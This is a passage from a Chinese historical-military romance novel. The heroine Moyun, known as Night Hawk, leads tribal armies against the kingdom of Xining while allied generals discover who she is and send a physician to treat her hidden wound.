众将心头一震，纷纷抬头望向她，西间城乃西宁边防重镇，攻打西间就意味着正式攻打西宁国。可他们看着眼前的夜鹰，心中那一丝疑虑又被她身上透出的那股不容置疑的威压所镇住。
此时，茉云缓缓开口说道：“我知道众人心中皆有疑虑，为何要打西宁，我给大家讲一个故事，曾经，有一个小孩，她特别喜欢部落圈回来的一匹小白马。她亲手喂养，久而久之情同亲人。部落的将军告诉她，那一年的部落少年射箭第一名，这匹马便可作为奖励。于是，她日日从天明练到日落，夜里借着月光仍在练，日复一日，最终力战群雄拿到了第一，赢得了那匹马。”
茉云的语调平静而缓慢，可帐内众人都感受到了一种深沉的情绪在翻涌。
她顿了顿，眼神深邃如夜，继续说道：“可是有一日，她骑马遇见了西宁国的国主，他带着儿女狩猎，他的公主看中了这匹白马，出大价钱要买。可那个少年无论如何都不同意。谁知道，他们竟然派人来抢。”
营帐内死一般寂静，老影深吸一口气看向茉云，他当然知道这个故事……
“少年拼了命骑马回到部落，可是西宁的将军却带兵追来，强行夺走了那匹马。部落虽怒，然而他们势弱，只能眼睁睁看着东西被人夺去，甚至连反抗都不敢。”
奇能微微蹙眉，当时他亦在，那份屈辱现在还能感同身受，族里所有的年轻人都那般不忿，可是老族长说，无论如何为了整个日升部落，谁也不能啃声。
茉云语气低沉，却透着令人不寒而栗的冷意：“而有一日，这个少年在草原上骑马牧羊之时，又碰见了西宁国主一行人，他们骄傲地扬着下巴，好似世间万物皆该属于他们，可谁知，那一瞬间，马儿一眼认出了它曾经的主人，它不顾一切，嘶鸣着奔向少年。”
茉云顿了顿，眸光微微颤动，随即加深了一丝恨意的狠戾。
“可就在它即将奔至那少年身前时，西宁国主轻轻抬起了手，让左右射手弓弦拉满，任由少年如何呼喊、如何哀求，‘不要啊！’‘住手！’……可那箭，终究还是射了出去。”
营帐内的众人的心好似随着那支箭瞬间坠落谷底，呼吸骤然凝滞。
“箭雨落下，那匹马倒在了尘埃之中。”茉云的声音不紧不慢，仿佛是述说着一件寻常往事，可她指节微微泛白，紧握的拳头显露出她内心的愤怒。“那公主都惊呆了，茫然地望着自己的父亲。可西宁国主只是冷冷地说，‘记住，我西宁得不到的，毁了，也不能给别人。’”
沉默，如潮水般席卷整个营帐，压抑得令人透不过气，众人脸上皆是愤恨与决绝。
许久，忽然“砰”地一声，营帐内的一位部落将领重重一拳砸在了桌案上，怒火在双目中翻腾不休。他就是与西宁交界的雨生部落的部落主。
“这些年，我们雨生部落受的践踏还不够吗？西南部落遭受的屈辱还少吗？我根本不信西宁的求和，也不在乎他们如何向天朝卑微顺服，西宁此举，不过是权宜之计，他绝不可能真正归还我们的疆域。”
雨生部落首领一向沉默寡言，此时却字字锤在众人心上。
“他们只会等着我们相信，等着我们松懈，然后像过去无数次一样，再度践踏我们，直至我们再也无力反抗，最后死无葬生之地。”
众人脸色涨红，纷纷攥紧了拳头，呼吸变得粗重，往事历历
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在目，诸将眼中纷纷燃起熊熊战意。
茉云的目光如刀锋般凌厉，环视着在场的诸将，透着不容置疑的气魄：“所以，我从未想过握手言和，我们绝不能给西宁半分喘息！”
“是！”
老影深吸了一口气，沉沉地望着茉云，心头一震。此刻的她，再也不是当年那个无能为力的孩子，她站在这里，带着无数部族的信念，带着她比任何人都坚定的决心……
她是夜鹰，她亦是方茉云，她是西南部落的战神，为了实现她当年报恩的承诺，成为了他们新的主帅。这一刻她说攻打西间城，那便没有人再有丝毫迟疑。她要拿回属于西南部落的一切，更是将救赎西南部落的尊严和明天！
茉云缓缓站起身，走到营帐中央的地图案上，目光沉静而从容说道：“这些日子，我都在思索战法。诸将到桌边来，攻打西宁，绝不会如同我们夺回草原失地那般简单。我们的铁骑在一马平川的草原上，便是无可匹敌，可是——若要攻城，便要换一种打法。”
众将纷纷上前围拢，低头注视着案上铺开的战图。屏息凝神认真听着攻城方略，心头皆震撼于她的果敢与谋略。攻城之战，确实本非他们以往所擅长，可他们眼前的统帅，早已布下全局。
她布置完方略之后，抬目直视众人，声音如锋：“这一次，我们不只是要取胜，而是要让西宁守军军心彻底溃败，再无翻身之日！”
众人皆神情震撼，眼中透出滔天地战意，纷纷抱拳拱手，齐声应道：“是！”
茉云缓缓收回手掌，目光穿透营帐说道：“军令既下，一日之内，全军整备齐全，列队待命。明日一早，全军出动，随我拿下西间城！”
“是！”众人领命，肃然退出营帐，脚步沉稳而坚定。
寒风灌入帐中，吹拂得她的披风都飞舞了起来，可她的神情依旧凌冽如利刃，沉稳如深潭，眸中燃烧着不屈的火焰——这一次，她要让西宁，再无退路！
老影目光深邃，盯着战图许久，终于抬起头，摸了摸自己沧桑的脸，笑得意味深长：“妙啊，这么精妙的战法，如何想出来的？”
茉云嘴角微微扬起，望向远方的天际，任风儿轻拂着她额前的碎发，她轻声说道：“攻城略地，因地制宜，发挥全军的机动性……都是跟大老鹰学的。”
老影眉头一挑，叹了口气，声音带着几分玩味：“你那郎君倒是对你鼎力支持……可你郎君上面的皇上呢？说都不说一声，就直接打？”
茉云顿时翻了个白眼，毫不客气地说道：“老影，你是真老了，这般磨磨唧唧？”
老影闻言笑得不行，双手抱臂地看着她：“老子这不是替你着想？你可别光顾着打仗，把你那英伟不凡，却唯独瞎了眼能要你的郎君，也一块儿搭进去了。”
茉云冷哼一声，眼神中透着几分漫不经心，语气却异常笃定：“除了他，随便谁？皇上我也搞得定。”
“你意思是，你搞不定少帅？”老影双眉一挑，意味深长地笑着反问道。
茉云闻言，嘴角终于闪现了一丝狡黠而畅然的笑意，看向那弓，说道：“他啊？是花了些时间，这不也搞定了？”
老影看着茉云一脸嘚瑟的样子笑得不行：“他这倒是有些出乎我所料……”
茉云若有所思的笑了，轻轻伸手抚过弓身，其实好似……也出乎自己所料。
可回头想起，从一开始，自己从他那，便总能感受到这份毫不犹豫地力量，总是被他——坚定地支持，坚定地选择，甚至是坚定地偏爱。
320.捷报
翌日清晨，薄雾笼罩着西宁边境，西间城的边关却静默无声，仿佛风暴前的宁静。城头的守军枯坐在寒风中，眼中尽是疲惫与疑虑，昨夜传来的风声与探哨的惊报，让他们心神不宁。
忽然一道低沉的战鼓声从远方传来，地面随之微微震动。转瞬之间，西南部落的大军破雾而出，如洪流般奔涌而至。
最前列是奇能率领的赫赫有名的部落骑射兵，他们骑术高超，战马灵巧如风，箭法更是百步穿杨，未至百步，弓弦已响，羽箭疾如流星般划破长空，精准射杀城头守军。敌人刚欲张弓反击，便已只能躲避，顷刻之间，守城士卒阵脚大乱。
紧随其后的是由正奇率领的部落壮士组成的攻城队，一手高举巨盾，一手合力扛着巨木或者云梯，身披重甲，步步逼近城墙。他们盾牌厚重，可抵御箭雨与滚石，身形如巨熊般的壮士扛起巨木便猛撞大门，其余身形稍微轻巧的壮士，架起云梯，便在骑射兵掩护下，如飞檐走壁般像城上攀登。
不到半个时辰，轰的一声，城门被破，茉云身披铁黑甲，宛若暗夜的鬼魅一般，亲率西今等部落主和骑兵组成铁骑大军，踏碎焦土，瞬间撕破了敌军防线冲入关门，顿时尘土飞扬，铁骑如烈焰破空，浩浩荡荡震慑全城。
一个时辰不到，守军见势不妙，或溃逃、或投降，溃不成军，西间城被拿下，日头正上，照亮了西间城满目的西南部落战旗。
茉云登上城楼，长风猎猎中，俯瞰西间城，战士们举起刀枪，发出了震耳欲聋欢呼声，她目光如刃，轻声道：“西宁不可战胜的神话灭了。”
西间城破后，西南部落大军蜂拥而入，铁骑踏街，旌旗招展。百姓们战战兢兢地躲在门后、屋内瑟瑟发抖不敢露面。他们素来听闻西南部落乃蛮夷之地，部众茹毛饮血，嗜杀如命，怕今日便是血洗城池之时。
然而出乎所有人意料，整座城中却未见掳掠之事。西南兵士列队整齐，虽衣甲带尘、气息凶狠，但他们目不斜视，不擅动民众一物，街巷之间竟不闻哭喊。甚至连一个倒在路边的瓷碗，也无人看一眼，只径直去抄了官府……
不多时，便传出一则惊闻，奇能的表弟因一时兴起，张牙舞爪地恐吓了一个误闯街头寻找吃食、衣衫褴褛的小孩，吓得那小孩逃窜之时摔伤。他竟被夜鹰亲自派人拿下，拷至军前。诸将闻讯，连忙跪于帐外请罪求情。
夜鹰面无表情，只冷冷一句：“军纪若废，何以服人？”
不到半个时辰，奇能表弟便被军仗打得血肉模糊，抬出时已走不得路。军中再无一人敢懈怠此事，此事传遍城中，人心震动，街坊小巷里终于有人出来低声议论，目光亦由惧转敬，城中百姓第一次对这群“蛮军”有所改观。
紧接着，夜鹰又命人抄完府库，又打开了粮仓，居然有满满一仓的粮食，可百姓之小儿都是饥肠辘辘，俱查才知原来官府利用战事中饱私囊，强行收没了百姓的过冬粮食，于是夜鹰下令，开仓放粮，济民赈饥，凡被强征冬粮之家，可前来领还。
可昭告了全城竟无一人来领，部落中人都觉得奇了怪了，可夜鹰站在官府门口看着大街上依旧无人，轻轻笑了，他们是恐惧西南部落攻城之军，但他们心中更惧怕的是他们自己的官府，这些年被无尽的压榨毫无喘息之机，哪个民众敢去官府要粮？万一日后大人回来了，秋后算账呢？
夜鹰嘴角微微上扬一笑，当即下令：“命雨燃、申霄两位将军率两队人马，从府衙为界，分赴南北，挨家挨户分粮送米。今日送粮之户，若至日落仍无煮饭之炊烟升起，便当抗命，杀无赦！”
“是！”
待时值黄昏，炊烟终于在沉寂多日的西间城缓缓升起，先是一缕，继而是十缕、百缕，如云如织。饭香飘散于巷陌之间，晚饭后，传来了孩童欢声笑语，终于吃了一顿饱饭，奔跑于门前街巷玩耍，大人们端坐于台阶上低语，眼神里，竟有久违的温情与笑意。
有人悄声道：“这哪像破城？倒像是……天上掉下来救我们的神兵。”
又有人接过话说道：“官府不管我们的死活，倒是这些“蛮人”，来管了我们这些贱命？”
老人亦感叹道：“西宁这些年，王法不法，官家冷酷，哪回见过这等事？”
夜鹰立于城楼之上，望着那片炊烟缭绕的万家灯火，长风拂过他衣袍。她曾以为无比强大的西宁大国，百姓定是安居乐业，却竟然也是过的这等日子……
夜色沉沉，营火忽明忽暗。茉云身披披风，一手持饼未曾嚼几口，目光却早已落在摊开的地图之上。饼已冷硬，她却浑然未觉，指尖顺着城墙走势缓缓移动，认真研究下一座城的打法。
“下一座城，西仓。”她低声喃喃，眼中光芒如霜刀闪烁，“高墙、战壕、北风……待我来破你。”
自西间城之后，西南部落的攻势猛如疾风骤雨，几乎未有停歇，连下三城，兵锋所指直逼西宁王都。
王宫之中金銮失色，王室贵族中人更是心惶惶，昼夜商议无果，有人提议议和，有人主战争功，然无一人敢亲临前线。民间却渐有异声传出——西南部落所到之处，斩尽酷吏整肃贪官，开仓赈民，虽为破城之军，却比起西宁官府更厚待百姓。
更有百姓在夜里点起灯火，围炉而语：“西南部落怎么会如此强大，莫不是我们西宁王如此残暴不仁，上天派下神兵收拾他来了，若真是如此，他们不是来打我们，怕是来救我们的。”
这一言传十，十传百，终成潮涌。
与此同时，在西南地界的司融国，正啸大军已打下半壁，亦是势如破竹直逼司融都城而去，夜里，众军正扎营修整，一骑飞奔而入，乃探子回营带来了西宁情报。
帐中灯火摇曳，元帅披袍而坐听着探子将西宁战事的所有详细上报，然后细看了西宁地图片刻，嘴角忽勾起一丝笑意，手指轻敲案几，感慨道：“打得漂亮啊！”
魏副帅也摸着胡须，点头称是：“攻势凌厉，调配有方，章法有度且军纪严明，非草莽之流。这股劲头，若不出变数，西宁怕真守不住。”
“嗯。”元帅点点头，只盯着地图上标记的攻法与布阵，忽然皱眉感叹，“奇了，我
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怎么觉得这打法……有点像我父帅当年行兵布阵，莫非真是神兵天降？”
他话音刚落，角落里一声轻哼响起。众人转头，只见老太君端坐营边，虽银发雪眉，却气势沉冷如霜。她抬眼，一边冷冷看向正啸一边没好气的说道：“是的，你爹他爷爷若降世，不来帮你打峑戎，帮她去打西宁？”
正啸无语的避开老太君的目光，老太君素来火眼金睛，什么能瞒过她？
帐中静了一瞬，元帅笑着目光扫过所有将领说道：“无论是谁，友军如此强悍，都快打到了西宁皇宫门口，我们可不能慢了半步，输了气势，二十日内必须拿下司融。”
“是！”众将起身齐声应道。
夜深，风声猎猎，寒风卷过营中篝火，烧得火星飞溅。正啸仍一生戎装坐在案前，目光冷静，查阅着军务，此时，不等守卫通禀，门帘却已被人掀开。
是老太君步入帐中，一身深蓝素衣，眼中却透着锋利的光。她径直走入坐下，正啸自是放下手中之笔，执礼马上起身亲自给老太君端茶。
“西宁已经像朝廷认怂了。”老太君开口，声音透着沉稳，“西南部落也收复了他们的土地。可按照她这时间算，她应该没有再上书朝廷等待圣意，就自作主张直接打进西宁国。”
正啸抬头看向老太君，眼中却没有丝毫迟疑，也无半点遮掩：“那又如何？西宁，不过是权宜之计。”
他声音平静如水，却带着一种不容置疑的决绝。
老太君冷笑一声，眼角微挑,带着长辈的斥责与忧虑：“那你们这又是什么计？‘破罐子破摔计’？你是知道朝廷如今指望你打仗，就纵着你，所以不敢动她，所以她就这般有恃无恐？不用考虑以后了不是？”
正啸没有立刻作答，他只是嘴角微抿，双眉微蹙，半晌，他才靠进椅背看着老太君：“奶奶，西宁要与卢家军联姻，其心本就叵测，西宁国主狂妄无道，朝中也无忠正之臣，却都有滔天野心，他们这一战不打到底，日后西南之地绝不会太平，我们西境的百姓也没得好日子过。”
老太君眯起眼，冷哼一声起身道：“行！在你这儿她如何都有理，纵容也不是一日两日了，但你两都要记住，她亦是朝廷的臣子，你也不是你自己的，而这打战打得从来都不仅仅是战。”
帐中一时寂静，只剩烛火微微跳动的声音，像是夜色中隐隐燃烧着的两个执念，一个冷静如霜，一个固执如焰。
正啸坐在营帐之中，军务仍堆满一案。深夜他也久久未能入眠，他当然明白老太君说的，自己从来不属于自己是何意，何况如今，自己身在局中分身乏术，攻打司融一刻都不得耽搁。但只有此刻，夜深人静，四下无人之时，他可放纵自己思绪……
他起身端起了微弱油灯走到了西宁地图旁，眼前渐渐浮现出她那领军挂帅，气势滔天、不可一世的模样，嘴角不禁泛起一丝笑意，她便是这种刚学了个三板斧的能耐，就能当成通天锤一般大杀八方之人。
可就在此时，他查看着西宁都城的地形图，微微愣了一瞬，深吸一口气……
321.共进
翌日晌午后，何友带着送粮队伍亲赴营帐，他风尘仆仆，进入主营行完礼，便开门见山说道：“老太君，卢帅，正啸哥，京中一切无恙，无需担忧。”
短短一句，却让众人都抬目望向何友，老太君的眼神顷刻放松了一瞬。
“我离开军营便回了趟京，然后匆忙赶回了南境，这次送粮，哥哥让我马上亲自来汇报此事，解了您的担忧。朝廷虽未明说，但绝对是支持西南部落打西宁的！而且御史台抓住了西宁大使像朝臣行贿的铁证，圣上大怒命人将西宁使者赶出京城，圣意已明。”
老太君旋即望向何友，追问道：“那丫头打西宁，可请旨？”
元帅顿时吃惊的望向老太君说道：“娘，你认识夜鹰？”
“你先别打岔，我问何友话！”老太君顿时不容分说的说道。
“回老太君，她没有，我当日去面圣之时，皇上一言未发，神色虽淡然，但龙颜确实不悦，连我爹都责问我，说如此大事，为何不先上报朝廷？我据实回答了夜鹰的话，夜鹰曾说过，她打西宁，皇上定然会允。”
老太君顿时双眉微皱看向何友质问道：“她有何本事，可断然揣测圣意！”
“老太君你莫急，我爹当日亦是问我，她何时见过旨意？我据实陈奏了，夜鹰说，圣上仁德，待西宁如此厚恩，谁知道这等小人，借圣上之威，天朝之势，倒行逆施，耀武扬威这么多年，如今居然敢张狂到如此地步，圣上气度可容天下，却绝不会放过这些宵小。”
这句话一落，营中一时寂静，老太君也挑眉看着何友，给人戴高帽属实是茉云的拿手好戏，但是圣上可不是那么好忽悠的。
“当时殿内也像此时营里此时这般寂静，良久之后，圣上开口了，问我说，她见过朕几次，就会揣测朕意了？我当日亦是背上都是冒着冷汗，可我依旧按照夜鹰的话如实禀报了圣上。”何友笑着继续说道
只见这时何友微微站直，还轻轻整理衣襟和衣袖，营中人都有些无语的望向他。
可何友一副气宇轩昂的姿态仰头说道：“夜鹰说，我定然知道，我结识少帅数年，少帅虽寡言却刚烈，自成铠甲，将锋芒藏于不惊，如海纳百川而不喧，春风破冰而无痕，内有千钧之力，却允花成花，允树为树，独不容这世间宵小背叛之人。”
元帅端着茶碗的手顿时悬在了半空，此人居然如此夸他啸儿……
“她还说一直纳闷，这老卢帅治军严厉，而卢帅处事豪迈，少帅气度像何人，后来才知道，少帅自幼在圣上身旁长大，何谓素心如月亦可照破山河，包容化解世间一切锋利，亦可化作雷霆震慑世间一切鬼魅。”
老太君眯着眼睛挑眉看向何友，然后冷冷侧目看向正啸，正啸瞬间躲开了目光，东山和执礼相视一眼，便都忍俊不禁，方茉云这马屁拍的着实响，借夸赞正啸，暗地赞誉皇上，且皇上素来看重正啸，视若亲子，世上哪位父亲不希望听见人说，自己教出的英雄了得的孩子，有其父之风。
而且正啸也确属是这种人，他能容能忍，却独恨叵测和背叛之人，这一点确属和圣上年轻之时极为相似。这马屁也着实拍得高明。
何友亦被逗笑了说道:“我爹当时都愣了半刻，皇上却畅然而笑，笑得极为爽朗，然后下午宫中便传来圣旨，御史台告发了西宁使者行贿之事，皇上将西宁使者赶出京城。”
“你们以为皇上笑，是不知她这拍的是马屁吗？”老太君笑着没好气的说道。
“回老太君，皇上自然是知道她为何要如此说，我爹晚上回来，见我之时便笑着摇摇头，说这世上之人，能将奉承之话说得如此昭然若揭，明目张胆却又让人觉之有趣又动听的，也就她了！”
“哼，方茉云可不会觉得仗着这点小聪明，以后事事都在圣上那里胡诌一番，便可应付吧？”
“当然不是！朝廷万事最终靠的还是实心用事，稳住朝廷之后，她已在西南部落之地，拉通了我朝西境往司融之路，比西宁国之山道更好走，下月起，运粮时间可缩短一半，能力保卢家军前线军方的补给。”
老太君这才握着拐杖，眼神终于安定了几分，嘴角上扬亦透出了一分欣赏。
元帅则吃惊地说道：“娘，您是说那夜鹰是茉云？”
“不然呢？你也算没瞎，知道那战法像你爹，都是你那好儿子教的！”老太君没好气的看向正啸说道。
“卢正啸！”元帅怒声大喝拍案而起，顿时震得整个军营的气氛都为之一滞。
众人纷纷转头，看着怒气直冲云霄的元帅，都以为元帅要数落少帅将卢家军行军战法如此轻易教授出去，可谁知……
元帅怒不可斥的拍着桌子骂道：“你不想娶西宁那公主，出了状况，你便让茉云去打西宁，如此凶险，若出了状况如何是好？”
正啸愣了一下，眼中浮现出一抹无奈的神色，顿时众人皆忍俊不禁。
执礼笑着连忙解释道：“元帅，少帅怎可能让茉云去打西宁，刚何友都说了，都是她自作主张。”
“我还说这夜鹰怎得如此能耐，如此了得，原来是茉云！”元帅的眉头紧紧皱起，话语中透着担忧，“不行，这事终究不稳妥！她大战经验太少，本帅这就上书圣上，派人去协助茉云！”
众人愣住了，整个屋内一时又寂静无声，元帅当真是急坏了，这一刻连魏副帅都觉得有些不妥的望向元帅。
老太君则怒目瞪向元帅：“那你儿子这仗还打不打了？”
“娘！茉云是我卢家军良将，绝不能有失。”
“那你可曾想过，如果我朝可出兵，她为何要化名夜鹰，且连卢家军和你都没有告知？”
元帅愣了一下，脸上闪过一丝愕然，他亦终于意识到老太君话中的深意，随即深深地吸了一口气，表情变得格外沉重：“她就这么一人去稳住西边局势，谁又可以帮帮她呢？”
营内又陷入一阵寂静的沉默，众人皆知如今，卢家军中人谁都帮不了茉云。
此时，何友微微一笑，缓缓开口道：“元帅切莫忧心，茉云亦说了，这些年在卢家军受益匪浅，元帅，她义父崔老将军，还有少帅都教授她良多，收复小小西宁不在话下，请您相信她。对了，她还写了一幅字，作为回礼。”
话音刚落，何友便从锦盒中取出一卷字画，轻轻展开，顿时，众人都微微愣住了。那字如行云流水般展开，十六个俊秀而苍劲的字跃于纸上：
“凛冬散尽，星河长明，何其有幸，与君共进。”
这一幅字，笔力遒劲，字形潇洒，却给人一种热血澎湃、志向高远的感觉。元帅和众人都目光投向这字，眼中不禁透出了欣赏。
正啸的亦愣了半刻，嘴角微微上扬，久久凝视，空气中仿佛凝聚了某种情感，久久难以散去。
元帅脸上亦终于显出了笑颜，指着那字看向东山说道：“这字好啊，可这是茉云那丫头写的？东山啊，日后你替本帅赠几只好笔给她，那丫头平日里那文书，简直就像是随便扯了几根扫帚须写得一样！”
顿时，整个营帐中哄堂大笑。众人都知道茉云平日里就是这般欠得慌，自中州开始，正啸越说她为官态度不佳，她那字就越像是鬼画符……
老太君亦是笑着起身，边走边说道：“行，将这字挂在你们少帅帐中，是勉励亦是鞭策，别等下她打下了西宁，咱还没进司融都城，
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那所有人就有一副好脸看了。”
众人再度忍俊不禁，执礼和东山也相视一眼，老太君说得一点没错，若她带着西南部落的散兵游将打下了西宁，而卢家军还没拿下司融，茉云指不定会如何奚落他们。
老太君在经过正啸身边时，轻轻瞥了他一眼，低声带着几分挖苦地说道：“再者，某些人几近不眠不休的大半月才做了一把弓，人回礼了这十六个字，亦是不容易！”
正啸顿时便躲开了老太君的目光，脸上浮现出一抹无语的神情。执礼则笑得更欢了，真是什么都躲不过老太君的眼睛。
卢家军收了军粮之后，翌日清晨全军便开拔，往司融都城挺进，一路所向披靡行至都城不到不足百里地，司融的军队已全部退守都城，如今司融都城的防线已坚如磐石。
众人皆知攻打这座都城，必定是他们至今最艰难的一战，亦是决定未来格局的至关重要一战，不可有任何一丝疏忽。然而此时却降下一场暮冬的雪，冰封山路不利行军，元帅下令驻军等待时机再过。
夜深，营帐中火光摇曳，正啸案上堆满了军务文书和军事情报，他在认真研究着攻打司融都城司都的方略。此时有人来报，西南探子回营了。
正啸立即命人传回营的探营士兵进来，王强紧随其后。探子们进营时脸上浮现一抹疲惫却欣喜的笑容，显然带回的是捷报。
“禀报少帅，西南部落已逼近西宁都城，行军迅速，战果辉煌。”探子神情中都透着钦佩地继续说道，“如有神助！”
王强便迅速接过此话问道：“何谓如有神助！”
“启禀少帅和队长，属下在高处观战，见到了夜鹰……”探子皱了皱眉，像是回忆起当时的景象，“她，长得奇丑无比，但有可能真的是从天而降，来收拾那残暴的西宁王的。”
“何以见得？”王强瞬间乐了眉头一挑问道，而正啸也抬起目光，注视着探子。
“攻打西宁第二大城，阵前混战之时，她迎战敌军大将。谁知西宁军竟如此卑鄙，一道暗箭将其射下马。”探子停顿了一下，好似当时都不敢相信自己的眼睛，“可令人震惊的是，不知怎得，她竟然顷刻间又翻身上马，安然无恙，然后三下五除二，便将那敌军大将挑下马，顿时西南军心激荡，城门大开，敌军溃败。”
帐中一片寂静，正啸的目光顿时深邃如暗夜，王强亦瞬间凝视着探子问道：“夜鹰确实无恙？”
探子的眼神异常笃定，缓缓点头：“是，夜鹰毫发无伤，且胜利后，她立即登上了城楼，站了近乎半个时辰，似乎在享受胜利。”
王强轻轻松了口气：“那应该属实无大碍。”
正啸依旧沉默不言，神色虽依旧波澜不惊，但心中却五内翻腾，待众人退下，他马上迈步离开营帐，走向白神医的营帐。
执礼跟随他前去，看着正啸的背影，他的每一步都似乎压得周遭更加沉重。
“少主，王强那属下我有所了解，是个机灵探营兵，茉云应该无碍……”
正啸深吸一口气，他心中知晓，茉云性子素来厌恶无聊，白日里她站在城关之上，见之美食和街市，决计站不了多久。夜里观星月之时，能多站一会儿，但也绝不可能站半个时辰。她怎么可能无缘无故在城关之上站这般久，除非是——她生怕自己的探营兵看不见她安好。
走到白神医的营帐门前，正啸未经通报，掀开门帘便入了白神医的营帐。
白神医和不言正在桌边研磨草药，白神医抬目望过去，便看见烛光映照下，正啸一张愁眉紧锁的面庞，眼神中竟透着些许仓皇，顿时白神医心中一沉，他知道这世上独一人能让他有如此慌张之神情……
322.了解
帐外的阵阵寒风，吹得帘布轻轻晃动，军营营帐中弥漫着草药的气息。火盆里的木炭渐渐熄灭，白神医站在旧木桌前，手中拿着药杵，心思已完全不在手中的草药上……
正啸双眉紧皱，有几分急切的说道：“白叔，您在西南部落的地界可有熟悉的好大夫？茉云定是受了重伤。”
白神医愣了一下，目光微微一滞，思索道：“西南部落之地，多为游医居无定所，想要联系上好医者，恐怕短时间内很难，最快的便是我亲自前往。”
“这不妥。”执礼立刻开口，眼中满是担忧，“谁都知道您是卢家军的军医，此时若是前往，茉云的身份必定暴露。”
白神医却深吸了一口气，站了起来，缓缓说道：“她受了多重的伤，外伤还是内伤？”
正啸眼中闪过一丝疑虑，低声说道：“我不知道她具体受了什么伤。但探子来报，说亲眼看见她被敌军一箭射下马，可她却迅速又飞身上马，单挑敌军大将，将其挑下马。”
白神医稍愣了半刻，旋即追问道：“那许是箭未射中，躲箭而坠马，若真是箭伤，那必会血溅当场非常明显，你……怎会如此确定她受了重伤？”
正啸的呼吸稍显凝滞，深吸一口气说道：“我不知她究竟伤得多重，但探子说，她战后在城关之上站了半个时辰。”
不言此时按耐不住的反问道：“半个时辰？那便是没大碍吧？若真受伤，她不去医？还站那么久干嘛？”
正啸眼神中透出一丝深邃，沉声道：“西宁第二大城镇西岳城必定是繁华之地，且西宁盛产美酒和香料，擅长以香料烹食，她素来喜爱。她会在大战之后，饿着肚子站在城门上半个时辰吗？”
“她绝无可能！”不言顷刻间笃定的回答，“可她为何受了重伤，还要在城关之上吹那么久的风。”
执礼忽然明悟正啸之意，感叹道：“她必是发现了卢家军的探营之人在，想要让他们觉得自己安然无恙，只传回捷报，不想影响少帅和军心！”
白神医忧虑地迅速站起身，拿起笔旋即说道：“我写信让夫人速去。”
“师傅，可是她也是卢家军军中的医者，若去，茉云的身份也暴露了啊。”
白神眉头紧锁的说道：“此时还管这些？若茉云真受了重伤，以她的个性，她就是硬扛！”
气氛一瞬间变得更为压抑，正啸低头沉思，眉宇间的忧虑加深。
不言语气中带着几分急切和笃定的说道：“师傅，茉云最讨厌别人坏了她的的安排，而且她这次可是大事啊。我就有一计最合适——我去！”
正啸微微蹙眉看向不言，局势复杂，眼下战事四起，且朝局扑朔迷离，茉云若身份暴露，后果亦不堪设想。但白神医夫妇皆是有身手之人，眼前的不言……他手无缚鸡之力，如何穿过层层战局，顺利抵达。
不言似乎看透了正啸的心思，拍着胸脯说道：“少帅，您不用担忧，我若去了，以我的医术，您还信不过？我保您茉云定然无恙。”
白神医却眉头微蹙，忧心忡忡地说道：“不言，不是少帅不信你，可你一点身手都没有，如今在打战……”
不言大手一挥，满不在乎地说道：“我虽然没有身手，但脑子机灵，这险地求生本就是我另一大本事，不然我怎得这般苟延残喘长大的？师傅，您别再担心了，我是定要去救她的，你们也知道，茉云这人平日里稀里糊涂的，但有句话她说得对——人，要记得你爬着走的那段路，更别忘了扶过你的那个人！”
众人沉默片刻，眼中闪过一丝复杂的情感，正啸眼神在他身上停留片刻，最终还是点了点头：“好，你一路要小心。”
不言深深鞠了一躬：“是，少帅，不言定不辱使命。”
“千山，你去给不言备匹马，选匹耐力强劲，但不要过于高大惹人注目的马。”
此话刚落，千山马上点头出营挑马，而不言转身就开始收拾药包，动作迅速而利落，眼神中满是决心。
白神医也赶忙上前，亲自为他整理了伤药，确保一切齐全。
两人整理好药，不言拍拍自己的行囊，背到身后，笑着说：“师傅，你放心，我能行。”
白神医无奈地叹了口气，嘴角微微上扬的调侃道：“我不担心你，我就担心你这家伙没及时赶到，无人给茉云医伤。”
不言听了，顿时乐了：“我就不懂了，像茉云这丫头，没美色、没良心，贪吃、毒舌、抠门还心狠手辣，你们怎么这么喜欢她？”
众人忍俊不禁，目光转向正啸，气氛瞬间轻松了半分。正啸无奈地看向不言说道“你跟我来，我有话跟你说。”
“好嘞。”不言一脸乖巧地小步跑上前。
两人同往军营门口走，路上正啸压低声音跟不言交代了几句话，话语简短蕴含深意。不言微微一愣，他看得出正啸眼中的焦虑和不安，也能感受到他心中关切。
片刻后，不言目光坚定下来，轻轻点了点头，语气带着几分少有的沉稳道：“好，少帅，我都记下了。”
正啸伸手拍了拍他的肩膀，然后亲自为他检查了千山牵来的那匹马，确保一切都准备妥当。而后，不言背上行囊，接过执行为他准备的盘缠，再无迟疑的驰马往西宁方向而去。
营帐外的夜透着至深地寒意，正啸站在营门处，目送不言驰马而去，直至他身影完全消失在夜色中，夜色如此深沉，旷野一片寂静，只有风声轻轻掠过，带着一丝未曾说出的忧虑，正啸缓缓转身回营……
而不言，一路披星斩月，踏遍崎岖的山路，一刻都未有停歇，两日后，终于来到西宁第二大城——西岳。
夜幕下，整个城池安静得出奇，繁忙的军营内却是战意正浓，对于一个外地人来说，是陌生而危险的。
不言刚靠近军营，尚未看清周围的局势，便被几个守卫发现，立即被当作奸细擒拿。他心知不妙，却也不敢暴露自己和茉云的名字，只能强装镇定，盯着几个满脸怒意的士兵，正想着要如何解释……
就在这时，远处雨燃正好经过，不言马上认出了她，大声喊道“你……你就是她，自小带在身边那个，叫她姐的……那个八卦的小姑娘是吧？”
几名士兵停顿，纷纷转头，看见走过来之人，马上行礼道：“雨燃将军。”
雨燃定定地望向这个满身灰尘，但一脸猥琐笑意，目光闪烁的人，若有所思。她没有立即回答，而是冷冷注视着他。
“我是个医者，我是听说她受伤了，才来的！可我也不好在此喊她！”不言看着雨燃一脸不为所动的样子，苦笑着解释道，“你就带我去见见她吧，若她不认识我，你们再砍了我也行！”
“押着他，跟我来！”雨燃微微皱眉，摆手命令旁边的士兵将不言押着。
营帐中，夜鹰正忍着伤痛与众将商议完战务，众将离开后，夜鹰才开始剧烈地咳嗽，气息显然非常不稳。老影长叹一口气，给她倒了杯热茶。
这时，营门被掀开，雨燃带着不言走了进来。然后她的目光在夜鹰和不言之间来回扫视，说道：“姐，他说自己是个医者，还认识你，你认识他吗？”
夜鹰抬眉望过去，嘴角微微上扬说道：“哦，认识，他就是个中州卖假药的。”
“你才卖假药的！”不言顿时没好气的反驳道。
雨燃顿时脸上的阴郁一
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扫而光，看向夜鹰开心的说道：“哦，原来是姐认识的啊。快松开！”
士兵马上松开了不言，然后退了下去，不言看清茉云亦之时，愣在了原地，待晃过神来才走过去坐下说道：“你这脸色……看起来精气神还行啊。”
